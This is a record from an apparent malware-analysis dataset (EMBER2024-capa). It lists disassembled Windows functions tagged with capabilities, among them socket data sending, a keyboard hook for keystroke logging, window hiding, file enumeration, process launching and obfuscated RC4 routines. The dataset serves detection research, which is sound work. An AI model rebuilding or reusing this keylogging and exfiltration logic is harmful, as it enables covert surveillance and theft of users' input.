joyce8/EMBER2024-capa huggingface dataset:
Function at 0x480bf0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 4
add esp, 0xfffff004
push eax
dec eax
jne 0x480bf9
mov eax, dword [ebp - 4]
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x4004], ecx
mov ebx, eax
xor eax, eax
push ebp
push 0x480e45
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebx + 0x79], 0
jne 0x480e2c
mov byte [ebx + 0x79], 1
lea edx, [ebp - 0x4004]
mov eax, dword [0x49a59c]
call fcn.00405624
mov ecx, dword [ebp - 0x4004]
mov dl, 8
mov eax, ebx
call fcn.0048100c
cmp byte [ebx + 0x288], 0
je 0x480c73
mov eax, dword [ebx + 0xa8]
call fcn.00412614
mov esi, eax
mov eax, dword [ebx + 0xa8]
call fcn.00412630
cmp esi, eax
jl 0x480c93
cmp byte [ebx + 0x288], 0
jne 0x480e28
mov eax, dword [ebx + 0xa8]
call fcn.00412630
test eax, eax
je 0x480e28
cmp byte [ebx + 0x84], 0
jne 0x480e28
cmp byte [ebx + 0x288], 0
jne 0x480cb8
xor edx, edx
mov eax, dword [ebx + 0xa8]
call fcn.00412624
jmp 0x480cc9
mov edx, dword [ebx + 0x80]
mov eax, dword [ebx + 0xa8]
call fcn.00412624
lea edx, [ebp - 0x4000]
mov ecx, 0x3fff
mov eax, dword [ebx + 0xa8]
mov esi, dword [eax]
call dword [esi + 4]
mov edi, eax
push 0
push edi
lea eax, [ebp - 0x4000]
push eax
movzx eax, word [ebx + 0x294]
push eax
call sub.wsock32.dll_send
mov esi, eax
cmp esi, 0xffffffff
jle 0x480e0c
mov eax, dword [ebx + 0xa8]
call fcn.00412614
sub eax, edi
add eax, esi
push eax
mov eax, dword [ebx + 0xa8]
call fcn.00412630
pop edx
cmp edx, eax
jl 0x480d43
cmp byte [ebx + 0x288], 0
jne 0x480d37
mov eax, dword [ebx + 0xa8]
call fcn.00412b48
mov byte [ebx + 0x286], 1
jmp 0x480de6
cmp byte [ebx + 0x288], 0
jne 0x480db6
mov eax, dword [ebx + 0xac]
call fcn.00412b48
mov edx, esi
mov eax, dword [ebx + 0xa8]
call fcn.00412624
mov edi, dword [ebx + 0xa8]
mov eax, edi
call fcn.00412630
mov ecx, eax
sub ecx, esi
mov edx, edi
mov eax, dword [ebx + 0xac]
call fcn.00412760
mov eax, dword [ebx + 0xa8]
call fcn.00412b48
mov eax, dword [ebx + 0xac]
mov edx, dword [ebx + 0xa8]
mov dword [ebx + 0xac], edx
mov edx, eax
mov dword [ebx + 0xa8], edx
mov eax, edx
xor edx, edx
call fcn.00412624
mov byte [ebx + 0x79], 0
jmp 0x480dd2
mov eax, dword [ebx + 0xa8]
call fcn.00412614
mov edx, eax
sub edx, edi
add edx, esi
mov eax, dword [ebx + 0xa8]
call fcn.00412624
push ebx
push 0
push 0x467
mov eax, dword [ebx + 0x298]
push eax
call sub.user32.dll_PostMessageA
add dword [ebx + 0x80], esi
cmp byte [ebx + 0x78], 0
je 0x480e28
cmp word [ebx + 0xce], 0
je 0x480e28
mov edx, ebx
mov eax, dword [ebx + 0xd0]
call dword [ebx + 0xcc]
jmp 0x480e28
call sub.wsock32.dll_WSAGetLastError
mov dword [ebx + 0x88], eax
xor edx, edx
mov eax, dword [ebx + 0xa8]
call fcn.00412624
mov byte [ebx + 0x79], 0
mov byte [ebx + 0x79], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x480e4c
lea eax, [ebp - 0x4004]
call fcn.00403ae4
ret
Function at 0x480e54
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov ebx, eax
xor eax, eax
push ebp
push 0x480f22
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, dword [0x49a468]
call fcn.00405624
mov ecx, dword [ebp - 4]
mov dl, 4
mov eax, ebx
call fcn.0048100c
mov byte [ebx + 0x2a0], 0
mov si, word [ebx + 0x294]
cmp si, 0xffff
je 0x480f0c
movzx eax, si
push eax
call sub.wsock32.dll_closesocket
test eax, eax
jne 0x480efe
test byte [ebx + 0x20], 8
jne 0x480ebb
cmp word [ebx + 0x42], 0
je 0x480ebb
mov edx, ebx
mov eax, dword [ebx + 0x44]
call dword [ebx + 0x40]
cmp byte [ebx + 0x85], 0
jne 0x480f0c
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
cmp esi, 0xffff
jbe 0x480ede
call fcn.00402db4
mov word [ebx + 0x294], si
push 0x3f
push 0x465
mov eax, dword [ebx + 0x298]
push eax
movzx eax, si
push eax
call sub.wsock32.dll_WSAAsyncSelect
jmp 0x480f0c
lea ecx, [ebp - 4]
mov dx, 0x2733
mov eax, ebx
call fcn.00480f30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x480f29
lea eax, [ebp - 4]
call fcn.00403ae4
ret

Function at 0x485b88
Capabilities:
Log keystrokes via application hook

Disassembly:
mov eax, dword [0x49b960]
mov eax, dword [eax + 0x2c8]
xor edx, edx
call fcn.00430004
mov eax, dword [0x49a428]
mov eax, dword [eax]
call fcn.0044911c
mov eax, dword [0x49b960]
call fcn.0044911c
xor edx, edx
mov eax, dword [0x49b960]
call fcn.00485f44
push 0
mov eax, dword [0x49a420]
mov eax, dword [eax]
push eax
push 0x485a78
push 0xd
call sub.user32.dll_SetWindowsHookExW
mov dword [0x49a048], eax
mov eax, dword [0x49b960]
mov eax, dword [eax + 0x2c8]
mov edx, dword [eax]
call dword [edx + 0xb4]
mov eax, dword [0x49b960]
mov eax, dword [eax + 0x2d4]
mov dl, 1
call fcn.0044f288
mov eax, dword [0x49a38c]
mov eax, dword [eax]
xor edx, edx
call fcn.00446028
ret
Function at 0x485d1c
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x485e20
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0x49a040], eax
push 0
push 0x485aec
call sub.user32.dll_EnumWindows
mov esi, dword [0x49a040]
dec esi
test esi, esi
jl 0x485e0a
inc esi
mov ebx, 0x49b964
mov eax, dword [ebx]
cdq
push edx
push eax
mov eax, dword [0x49a4a0]
mov eax, dword [eax]
mov eax, dword [eax + 0x24]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x485d73
cmp eax, dword [esp]
pop edx
pop eax
je 0x485e00
mov eax, dword [0x49a38c]
mov eax, dword [eax]
call fcn.00435d90
xor edx, edx
push edx
push eax
mov eax, dword [ebx]
cdq
cmp edx, dword [esp + 4]
jne 0x485d97
cmp eax, dword [esp]
pop edx
pop eax
je 0x485e00
mov eax, dword [0x49b960]
call fcn.00435d90
xor edx, edx
push edx
push eax
mov eax, dword [ebx]
cdq
cmp edx, dword [esp + 4]
jne 0x485db5
cmp eax, dword [esp]
pop edx
pop eax
je 0x485e00
mov eax, dword [0x49a428]
mov eax, dword [eax]
call fcn.00435d90
xor edx, edx
push edx
push eax
mov eax, dword [ebx]
cdq
cmp edx, dword [esp + 4]
jne 0x485dd5
cmp eax, dword [esp]
pop edx
pop eax
je 0x485e00
lea edx, [ebp - 4]
mov eax, dword [ebx]
call fcn.00408184
mov edx, dword [ebp - 4]
mov eax, dword [0x49a110]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x50]
test eax, eax
jge 0x485e00
push 0xffffffffffffffff
mov eax, dword [ebx]
push eax
call sub.user32.dll_EnableWindow
add ebx, 4
dec esi
jne 0x485d59
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x485e27
lea eax, [ebp - 4]
call fcn.00403ae4
ret
Function at 0x485e2c
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x485f37
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0x49a040], eax
push 0
push 0x485aec
call sub.user32.dll_EnumWindows
mov esi, dword [0x49a040]
dec esi
test esi, esi
jl 0x485f1a
inc esi
mov ebx, 0x49b964
mov eax, dword [ebx]
cdq
push edx
push eax
mov eax, dword [0x49a4a0]
mov eax, dword [eax]
mov eax, dword [eax + 0x24]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x485e83
cmp eax, dword [esp]
pop edx
pop eax
je 0x485f10
mov eax, dword [0x49a38c]
mov eax, dword [eax]
call fcn.00435d90
xor edx, edx
push edx
push eax
mov eax, dword [ebx]
cdq
cmp edx, dword [esp + 4]
jne 0x485ea7
cmp eax, dword [esp]
pop edx
pop eax
je 0x485f10
mov eax, dword [0x49b960]
call fcn.00435d90
xor edx, edx
push edx
push eax
mov eax, dword [ebx]
cdq
cmp edx, dword [esp + 4]
jne 0x485ec5
cmp eax, dword [esp]
pop edx
pop eax
je 0x485f10
mov eax, dword [0x49a428]
mov eax, dword [eax]
call fcn.00435d90
xor edx, edx
push edx
push eax
mov eax, dword [ebx]
cdq
cmp edx, dword [esp + 4]
jne 0x485ee5
cmp eax, dword [esp]
pop edx
pop eax
je 0x485f10
lea edx, [ebp - 4]
mov eax, dword [ebx]
call fcn.00408184
mov edx, dword [ebp - 4]
mov eax, dword [0x49a110]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x50]
test eax, eax
jge 0x485f10
push 0
mov eax, dword [ebx]
push eax
call sub.user32.dll_EnableWindow
add ebx, 4
dec esi
jne 0x485e69
xor eax, eax
mov dword [0x49a044], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x485f3e
lea eax, [ebp - 4]
call fcn.00403ae4
ret

Function at 0x485f44
Capabilities:
Hide graphical window

Disassembly:
push ecx
push 0
push 0x485f94
call sub.user32.dll_FindWindowA
push 0
push eax
call sub.user32.dll_ShowWindow
push 0
push 0x485f9c
call sub.user32.dll_FindWindowA
push 0
push eax
call sub.user32.dll_ShowWindow
xor eax, eax
mov dword [esp], eax
push 0
lea eax, [esp + 4]
push eax
push 1
push 0x24
call sub.user32.dll_SystemParametersInfoA
push 0
lea eax, [esp + 4]
push eax
push 1
push 0x61
call sub.user32.dll_SystemParametersInfoA
pop edx
ret

Function at 0x485fac
Capabilities:
Hide graphical window

Disassembly:
push ecx
push 0
push 0x486008
call sub.user32.dll_FindWindowA
push 9
push eax
call sub.user32.dll_ShowWindow
push 0
push 0x486010
call sub.user32.dll_FindWindowA
push 9
push eax
call sub.user32.dll_ShowWindow
mov eax, dword [0x49b960]
call fcn.00449114
xor eax, eax
mov dword [esp], eax
push 0
lea eax, [esp + 4]
push eax
push 0
push 0x24
call sub.user32.dll_SystemParametersInfoA
push 0
lea eax, [esp + 4]
push eax
push 0
push 0x61
call sub.user32.dll_SystemParametersInfoA
pop edx
ret
Function at 0x488864
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x108], eax
xor eax, eax
push ebp
push 0x488959
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00435d90
push eax
call sub.user32.dll_GetWindow
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x48891a
push 0xff
lea eax, [ebp - 0xff]
push eax
push esi
call sub.user32.dll_GetWindowTextA
test eax, eax
jle 0x48890c
lea edx, [ebp - 0x104]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0042ffd4
mov eax, dword [ebp - 0x104]
push eax
lea edx, [ebp - 0x108]
lea eax, [ebp - 0xff]
call fcn.004089bc
mov edx, dword [ebp - 0x108]
pop eax
call fcn.00403e8c
jne 0x488902
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00435d90
cmp esi, eax
jne 0x488906
xor ebx, ebx
jmp 0x488908
mov bl, 1
test bl, bl
jne 0x48891a
push 2
push esi
call sub.user32.dll_GetWindow
mov esi, eax
test esi, esi
jne 0x4888a6
xor bl, 1
test bl, bl
je 0x488935
call fcn.0040296c
mov eax, 3
call fcn.00402b8c
test eax, eax
setne bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x488960
lea eax, [ebp - 0x108]
call fcn.00403ae4
lea eax, [ebp - 0x104]
call fcn.00403ae4
ret
Function at 0x48c18c
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeac
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0x154], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ecx
mov ebx, edx
mov esi, dword [ebp + 8]
xor eax, eax
push ebp
push 0x48c3d1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403ae4
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x48c3ab
lea ecx, [ebp - 0x150]
xor edx, edx
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x150]
mov edx, esi
call fcn.004085e0
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
mov esi, eax
dec esi
cmp esi, 0
jl 0x48c250
lea ecx, [ebp - 0x150]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x150]
call fcn.00408454
and eax, 0x10
cmp eax, 0x10
je 0x48c24a
lea ecx, [ebp - 0x150]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov ecx, dword [ebp - 0x150]
xor edx, edx
mov eax, dword [ebp - 4]
mov edi, dword [eax]
call dword [edi + 0x54]
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
dec esi
cmp esi, 0xffffffff
jne 0x48c200
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x48c39c
lea ecx, [ebp - 0xc]
xor edx, edx
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
xor edx, edx
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
cmp dword [ebp - 8], 0
jle 0x48c278
dec dword [ebp - 8]
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x150]
mov ecx, 0x48c3ec
mov edx, dword [ebp - 0xc]
call fcn.00403dc8
mov eax, dword [ebp - 0x150]
call fcn.00403f40
push eax
call sub.kernel32.dll_FindFirstFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x48c39c
test byte [ebp - 0x14c], 0x10
jne 0x48c2f9
push dword [ebp - 0xc]
push 0x48c3fc
lea edx, [ebp - 0x154]
lea eax, [ebp - 0x120]
call fcn.004089bc
push dword [ebp - 0x154]
lea eax, [ebp - 0x150]
mov edx, 3
call fcn.00403e3c
mov edx, dword [ebp - 0x150]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x34]
jmp 0x48c381
lea edx, [ebp - 0x150]
lea eax, [ebp - 0x120]
call fcn.004089bc
mov eax, dword [ebp - 0x150]
mov edx, 0x48c408
call fcn.00403e8c
je 0x48c381
lea edx, [ebp - 0x150]
lea eax, [ebp - 0x120]
call fcn.004089bc
mov eax, dword [ebp - 0x150]
mov edx, 0x48c414
call fcn.00403e8c
je 0x48c381
push dword [ebp - 0xc]
push 0x48c3fc
lea edx, [ebp - 0x154]
lea eax, [ebp - 0x120]
call fcn.004089bc
push dword [ebp - 0x154]
lea eax, [ebp - 0x150]
mov edx, 3
call fcn.00403e3c
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 8]
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x54]
inc dword [ebp - 8]
lea eax, [ebp - 0x14c]
push eax
push esi
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x48c2ae
push esi
call sub.kernel32.dll_FindClose
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jg 0x48c25a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48c3d8
lea eax, [ebp - 0x154]
mov edx, 2
call fcn.00403b08
lea eax, [ebp - 0xc]
call fcn.00403ae4
ret
Function at 0x48f66c
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xffffff00
mov ebx, edx
push 0xff
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov edx, ebx
mov eax, esp
call fcn.004089bc
add esp, 0x100
pop ebx
ret

Function at 0x48f698
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x48f7ce
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, esi
call fcn.0048f66c
lea eax, [ebp - 0x10]
mov ecx, 0x48f7e4
mov edx, dword [ebp - 4]
call fcn.00403dc8
mov eax, dword [ebp - 0x10]
call fcn.004083ec
test al, al
je 0x48f6ee
lea eax, [ebp - 8]
mov ecx, 0x48f7e4
mov edx, dword [ebp - 4]
call fcn.00403dc8
jmp 0x48f71e
lea eax, [ebp - 0x10]
mov ecx, 0x48f804
mov edx, dword [ebp - 4]
call fcn.00403dc8
mov eax, dword [ebp - 0x10]
call fcn.004083ec
test al, al
je 0x48f7b3
lea eax, [ebp - 8]
mov ecx, 0x48f804
mov edx, dword [ebp - 4]
call fcn.00403dc8
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00402910
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.004085e0
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov ecx, 0x48f824
call fcn.00403dc8
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.004541f8
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
call fcn.00403b7c
mov eax, dword [ebp - 0xc]
call fcn.004083ec
test al, al
je 0x48f7b3
test bl, bl
je 0x48f77b
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, 0x48f83c
call fcn.00403dc8
jmp 0x48f78b
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, 0x48f84c
call fcn.00403dc8
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.00403f40
push eax
mov eax, dword [ebp - 8]
call fcn.00403f40
push eax
push 0x48f858
mov eax, esi
call fcn.00435d90
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48f7d5
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00403b08
ret
Function at 0x4904ac
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeac
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x154], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x49064d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x148]
push eax
lea edx, [ebp - 0x150]
mov eax, dword [0x49a4a0]
mov eax, dword [eax]
call fcn.0044c520
mov eax, dword [ebp - 0x150]
lea edx, [ebp - 0x14c]
call fcn.004085e0
lea eax, [ebp - 0x14c]
mov edx, 0x490664
call fcn.00403d84
mov eax, dword [ebp - 0x14c]
call fcn.00403f40
push eax
call sub.kernel32.dll_FindFirstFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x49061c
test byte [ebp - 0x148], 0x10
jne 0x490607
lea edx, [ebp - 0x14c]
lea eax, [ebp - 0x11c]
call fcn.004089bc
mov eax, dword [ebp - 0x14c]
push eax
lea edx, [ebp - 0x154]
mov eax, dword [0x49a4a0]
mov eax, dword [eax]
call fcn.0044c520
mov eax, dword [ebp - 0x154]
lea edx, [ebp - 0x150]
call fcn.004085e0
mov edx, dword [ebp - 0x150]
lea eax, [ebp - 4]
pop ecx
call fcn.00403dc8
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x451c10]
call fcn.00451cb8
mov esi, eax
push 0
lea eax, [ebp - 8]
push eax
mov ecx, 0x490674
mov edx, 0x490684
mov eax, esi
mov edi, dword [eax]
call dword [edi]
lea edx, [ebp - 0x14c]
mov eax, dword [ebp - 8]
call fcn.00407f58
mov eax, dword [ebp - 0x14c]
mov edx, 0x490694
call fcn.00403e8c
jne 0x490600
push 0
lea eax, [ebp - 8]
push eax
mov ecx, 0x4906a8
mov edx, 0x490684
mov eax, esi
mov edi, dword [eax]
call dword [edi]
cmp dword [ebp - 8], 0
je 0x490600
mov eax, dword [ebp + 8]
push eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.004903a8
pop ecx
mov eax, esi
call fcn.00402e74
lea eax, [ebp - 0x148]
push eax
push ebx
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x490536
push ebx
call sub.kernel32.dll_FindClose
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x490654
lea eax, [ebp - 0x154]
mov edx, 3
call fcn.00403b08
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403b08
ret
Function at 0x4906b4
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
push ebx
xor eax, eax
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4907e0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x49a668]
mov eax, dword [eax]
mov eax, dword [eax + 0x2e8]
mov eax, dword [eax + 0x1ec]
xor edx, edx
mov ecx, dword [eax]
call dword [ecx + 0x34]
lea eax, [ebp - 0x144]
push eax
lea edx, [ebp - 0x14c]
mov eax, dword [0x49a4a0]
mov eax, dword [eax]
call fcn.0044c520
mov eax, dword [ebp - 0x14c]
lea edx, [ebp - 0x148]
call fcn.004085e0
lea eax, [ebp - 0x148]
mov edx, 0x4907f4
call fcn.00403d84
mov eax, dword [ebp - 0x148]
call fcn.00403f40
push eax
call sub.kernel32.dll_FindFirstFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4907b4
mov eax, dword [ebp - 0x144]
and eax, 0x10
cmp eax, 0x10
jne 0x4907a3
lea eax, [ebp - 4]
lea edx, [ebp - 0x118]
mov ecx, 0x104
call fcn.00403d10
mov eax, dword [ebp - 4]
mov edx, 0x490808
call fcn.00403e8c
je 0x4907a3
mov eax, dword [ebp - 4]
mov edx, 0x490814
call fcn.00403e8c
je 0x4907a3
mov eax, dword [0x49a668]
mov eax, dword [eax]
mov eax, dword [eax + 0x2e8]
mov eax, dword [eax + 0x1ec]
mov edx, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x34]
lea eax, [ebp - 0x144]
push eax
push ebx
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x490749
push ebx
call sub.kernel32.dll_FindClose
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4907e7
lea eax, [ebp - 0x14c]
mov edx, 2
call fcn.00403b08
lea eax, [ebp - 4]
call fcn.00403ae4
ret
Function at 0x494530
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x494666
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, esi
call fcn.0048f66c
lea eax, [ebp - 0x10]
mov ecx, 0x49467c
mov edx, dword [ebp - 4]
call fcn.00403dc8
mov eax, dword [ebp - 0x10]
call fcn.004083ec
test al, al
je 0x494586
lea eax, [ebp - 8]
mov ecx, 0x49467c
mov edx, dword [ebp - 4]
call fcn.00403dc8
jmp 0x4945b6
lea eax, [ebp - 0x10]
mov ecx, 0x49469c
mov edx, dword [ebp - 4]
call fcn.00403dc8
mov eax, dword [ebp - 0x10]
call fcn.004083ec
test al, al
je 0x49464b
lea eax, [ebp - 8]
mov ecx, 0x49469c
mov edx, dword [ebp - 4]
call fcn.00403dc8
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00402910
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.004085e0
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov ecx, 0x4946bc
call fcn.00403dc8
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.004541f8
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
call fcn.00403b7c
mov eax, dword [ebp - 0xc]
call fcn.004083ec
test al, al
je 0x49464b
test bl, bl
je 0x494613
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, 0x4946d0
call fcn.00403dc8
jmp 0x494623
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, 0x4946e0
call fcn.00403dc8
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.00403f40
push eax
mov eax, dword [ebp - 8]
call fcn.00403f40
push eax
push 0x4946ec
mov eax, esi
call fcn.00435d90
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49466d
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00403b08
ret

Function at 0x4948d0
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
push 0
lea eax, [esp + 4]
push eax
call sub.wininet.dll_InternetGetConnectedState
neg eax
sbb eax, eax
neg eax
pop edx
ret
Function at 0x8130ec
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [ebp], eax
push ecx
mov byte [esp], 0x6c
lea esp, [esp + 0x14]
jmp fcn.00812fef

Function at 0x813215
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [esp + 0x2c], ebx
mov dword [esp + 4], 0x90f4d6d6
pushfd
pop dword [esp + 0x28]
push esp
push 0x241636b2
pushfd
lea esp, [esp + 0x34]
jmp fcn.00812f4d

Function at 0x813257
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov byte [esp], 0x40
pushfd
mov dword [esp + 0x30], esi
mov byte [esp + 8], ch
mov dword [esp + 0x2c], ebx
mov byte [esp + 4], 0xbe
pushfd
pop dword [esp + 0x28]
pushfd
pushfd
push 0xf01024ab
lea esp, [esp + 0x34]
jmp fcn.00812f4d

Function at 0x8133a1
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x81400b
rep movsb byte es:[edi], byte [esi]
mov si, word [esp + 4]
std
mov edi, dword [esp + 0x4c]
shrd si, sp, 1
bts si, ax
cld
mov esi, dword [esp + 0x50]
cld
stc
bt esi, 1
push dword [esp + 0x54]
popfd
mov byte [esp], bl
mov byte [esp + 4], 0x79
mov byte [esp + 4], 0xe6
mov word [esp + 4], ax
lea esp, [esp + 0x58]
jmp fcn.00812fef

Function at 0x813942
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [esp + 0x44], ebx
pushfd
lea esp, [esp + 0x48]
jae 0x8140f2
pushfd
pushal
pushfd
pushfd
pushfd
lea esp, [esp + 0x2c]
jmp fcn.00812f4d
call fcn.00814921
pushfd
mov word [esp], si
pushfd
pop dword [esp]
push esp
mov byte [esp], 0xb5
call fcn.00813bcb

Function at 0x813d34
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov byte [esp + 4], ch
pushfd
mov word [ebp], ax
mov byte [esp + 8], bl
mov byte [esp + 4], 0x5e
push 0x4c3cb1a2
push dword [esp]
lea esp, [esp + 0x50]
jmp 0x813e32

Function at 0x814231
Capabilities:
Encrypt data using rc4 prga

Disassembly:
pushal
mov byte [edi + eax], dl
mov byte [esp], 0xfb
pushal
mov byte [esp + 4], 0x42
lea esp, [esp + 0x44]
jmp fcn.00812fef

Function at 0x814921
Capabilities:
Encrypt data using rc4 prga

Disassembly:
pushal
pushfd
pop dword [esp + 0x20]
push ebx
push 0x74e89f02
mov word [esp + 4], bx
pushfd
lea esp, [esp + 0x2c]
jmp fcn.00812f4d
jmp 0x81450f

Function at 0x814955
Capabilities:
Encrypt data using rc4 prga

Disassembly:
pushfd
pop dword [esp + 0x48]
push 0xd51d16d7
push 0xdc829cd5
mov word [esp + 0xc], si
mov word [esp], di
lea esp, [esp + 0x50]
jmp fcn.00812f4d
pushfd
push 0x85b554e7
jmp 0x8139f8

Function at 0x814960
Capabilities:
Encrypt data using rc4 prga

Disassembly:
pushfd
mov dword [esp + 0x48], ebx
pushfd
pushfd
pop dword [esp + 0x48]
pushfd
push 0xd780ffc
lea esp, [esp + 0x50]
jmp fcn.00812f4d